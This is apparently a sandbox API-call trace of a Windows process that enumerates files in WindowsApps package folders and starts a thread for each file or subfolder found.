	[0078.884] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb523798b, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.884] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.884] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765510
	[0078.884] wcscpy (in: _Dest=0x4765510, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.884] wcscat (in: _Dest=0x4765510, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.884] wcscat (in: _Dest=0x4765510, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4765510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48
	[0078.885] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.885] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.885] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d100
	[0078.885] wcscpy (in: _Dest=0x477d100, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe"
	[0078.885] wcscat (in: _Dest=0x477d100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\"
	[0078.885] wcscat (in: _Dest=0x477d100, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri"
	[0078.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c
	[0078.886] FindNextFileW (in: hFindFile=0x2dad438, lpFindFileData=0x2db7e90 | out: lpFindFileData=0x2db7e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0078.886] FindClose (in: hFindFile=0x2dad438 | out: hFindFile=0x2dad438) returned 1
	[0078.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7e90) returned 1
	[0078.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0078.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dbe0) returned 1

Thread:
	id = 250
	os_tid = 0x1188

	[0076.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d4b0
	[0076.770] wcscpy (in: _Dest=0x2d7d4b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0076.770] wcscat (in: _Dest=0x2d7d4b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0076.770] wcscat (in: _Dest=0x2d7d4b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\*"
	[0076.770] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8f68
	[0076.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\*", lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71440
	[0076.771] wcscmp (_String1=".", _String2=".") returned 0
	[0076.771] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.771] wcscmp (_String1="..", _String2=".") returned 1
	[0076.771] wcscmp (_String1="..", _String2="..") returned 0
	[0076.771] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.772] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.772] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e7b8
	[0076.772] wcscpy (in: _Dest=0x2d7e7b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0076.772] wcscat (in: _Dest=0x2d7e7b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0076.772] wcscat (in: _Dest=0x2d7e7b8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7e7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec
	[0077.129] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfa8fd8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfa8fd8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.129] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.129] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ca140
	[0077.129] wcscpy (in: _Dest=0x47ca140, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.129] wcscat (in: _Dest=0x47ca140, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.129] wcscat (in: _Dest=0x47ca140, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c
	[0077.130] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.130] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.130] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e10fb8
	[0077.130] wcscpy (in: _Dest=0x2e10fb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.130] wcscat (in: _Dest=0x2e10fb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.130] wcscat (in: _Dest=0x2e10fb8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e10fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40
	[0077.131] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2be01, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0077.131] wcscmp (_String1="css", _String2=".") returned 1
	[0077.131] wcscmp (_String1="css", _String2="..") returned 1
	[0077.131] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddbdd8
	[0077.131] wcscpy (in: _Dest=0x2ddbdd8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.131] wcscat (in: _Dest=0x2ddbdd8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.131] wcscat (in: _Dest=0x2ddbdd8, _Source="css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css"
	[0077.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbdd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44
	[0077.132] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.html", cAlternateFileName="")) returned 1
	[0077.132] wcscmp (_String1="default.html", _String2=".") returned 1
	[0077.132] wcscmp (_String1="default.html", _String2="..") returned 1
	[0077.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cb288
	[0077.132] wcscpy (in: _Dest=0x47cb288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.132] wcscat (in: _Dest=0x47cb288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.132] wcscat (in: _Dest=0x47cb288, _Source="default.html" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html"
	[0077.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cb288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48
	[0077.133] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2cc20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0077.133] wcscmp (_String1="images", _String2=".") returned 1
	[0077.133] wcscmp (_String1="images", _String2="..") returned 1
	[0077.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8b60
	[0077.133] wcscpy (in: _Dest=0x47c8b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.133] wcscat (in: _Dest=0x47c8b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.133] wcscat (in: _Dest=0x47c8b60, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0077.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47c8b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c
	[0077.202] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0077.202] wcscmp (_String1="js", _String2=".") returned 1
	[0077.202] wcscmp (_String1="js", _String2="..") returned 1
	[0077.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2dda9b8
	[0077.203] wcscpy (in: _Dest=0x2dda9b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.203] wcscat (in: _Dest=0x2dda9b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.203] wcscat (in: _Dest=0x2dda9b8, _Source="js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js"
	[0077.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dda9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50
	[0077.206] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.206] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.206] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x2d89c30
	[0077.206] wcscpy (in: _Dest=0x2d89c30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.206] wcscat (in: _Dest=0x2d89c30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.206] wcscat (in: _Dest=0x2d89c30, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d89c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc54
	[0077.207] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.207] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.207] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47c9370
	[0077.207] wcscpy (in: _Dest=0x47c9370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe"
	[0077.207] wcscat (in: _Dest=0x47c9370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\"
	[0077.207] wcscat (in: _Dest=0x47c9370, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\resources.pri"
	[0077.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c9370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc58
	[0077.208] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.208] FindClose (in: hFindFile=0x2d71440 | out: hFindFile=0x2d71440) returned 1
	[0077.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8f68) returned 1
	[0077.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d4b0) returned 1
	[0077.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d628c0) returned 1

Thread:
	id = 251
	os_tid = 0x1180

	[0076.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4782c38
